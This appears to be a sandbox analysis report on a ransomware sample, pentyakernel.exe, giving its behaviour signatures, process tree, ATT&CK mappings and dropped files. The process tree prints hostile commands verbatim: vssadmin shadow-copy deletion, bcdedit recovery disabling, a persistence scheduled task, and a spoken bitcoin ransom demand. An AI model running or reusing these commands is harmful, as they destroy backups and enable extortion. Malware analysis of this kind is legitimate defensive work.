Analysis
- user interaction
yes - max time kernel
150s - max time network
127s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
28/09/2026, 21:26
General
- Target pentyakernel.exe
- Size 30.1MB
- Sample260928-1akdcsvx6m
- SHA256 0c94ac1c64929bffc086ada7929b9007f5902ebb4f4663e064b0eba1e29ac804
Malware Config
Signatures
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs
- Disables RegEdit via registry modification 1 IoCs
- Disables Task Manager via registry modification
- Disables cmd.exe use via registry modification 1 IoCs
- Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Loads dropped DLL 54 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates connected drives 3 TTPs 26 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 16 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 12 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\pentyakernel.exe"C:\Users\Admin\AppData\Local\Temp\pentyakernel.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\pentyakernel.exe"C:\Users\Admin\AppData\Local\Temp\pentyakernel.exe"2⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Disables cmd.exe use via registry modification
- Creates a file in the Startup directory
- Loads dropped DLL
- Adds Run key to start application
- Enumerates connected drives
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.Speech; $s = New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Speak('Your system has been infected by Pentya Powerful. Pay five hundred dollars in bitcoin to recover your files.')"3⤵
- Enumerates connected drives
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "PentyaKernel" /tr "C:\Users\Admin\AppData\Local\Temp\pentyakernel.exe C:\Users\Admin\AppData\Roaming\PentyaKernel\pentya.py" /sc onlogon /f"3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /create /tn "PentyaKernel" /tr "C:\Users\Admin\AppData\Local\Temp\pentyakernel.exe C:\Users\Admin\AppData\Roaming\PentyaKernel\pentya.py" /sc onlogon /f"3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im explorer.exe"3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB"3⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.Speech; $s = New-Object System.Speech.Synthesis.SpeechSynthesizer; $s.Speak('Your system has been infected by Pentya Powerful. Pay five hundred dollars in bitcoin to recover your files.')"3⤵
- Enumerates connected drives
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004F8 0x00000000000005001⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Defense Evasion
Direct Volume Access
1Impair Defenses
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
2Pre-OS Boot
1Bootkit
1Replay Monitor
Loading Replay Monitor...
Downloads
pygame_icon.bmp
SDL2.dll
SDL2_image.dll
SDL2_mixer.dll
SDL2_ttf.dll
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_asyncio.pyd
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_multiprocessing.pyd
_overlapped.pyd
_queue.pyd
_socket.pyd
_ssl.pyd
_tkinter.pyd
base_library.zip
freetype.dll
libcrypto-3-x64.dll
libffi-8.dll
libjpeg-9.dll
libmodplug-1.dll
libogg-0.dll
libopus-0.dll
libopusfile-0.dll
libpng16-16.dll
libssl-3-x64.dll
libtiff-5.dll
libwebp-7.dll
portmidi.dll
pyexpat.pyd
base.cp311-win_amd64.pyd
constants.cp311-win_amd64.pyd
python3.DLL
python311.dll
select.pyd
Lorem ipsum.txt
tcl86t.dll
tk86t.dll
unicodedata.pyd
zlib1.dll
memory/3836-9042-0x00007FFDA0460000-0x00007FFDA06CC000-memory.dmp
memory/3836-9055-0x0000000062E80000-0x0000000062EA4000-memory.dmp
memory/3836-9053-0x0000000068B40000-0x0000000068B7C000-memory.dmp
memory/3836-9052-0x000000006A880000-0x000000006A8A7000-memory.dmp
memory/3836-12374-0x00007FFDA0460000-0x00007FFDA06CC000-memory.dmp
memory/3836-12378-0x00007FFD9DF60000-0x00007FFD9F2E1000-memory.dmp
memory/3836-12441-0x00007FFDA0460000-0x00007FFDA06CC000-memory.dmp
memory/5556-1515-0x000001D426F20000-0x000001D426FCA000-memory.dmp
memory/5556-1251-0x000001D40E890000-0x000001D40E8B2000-memory.dmp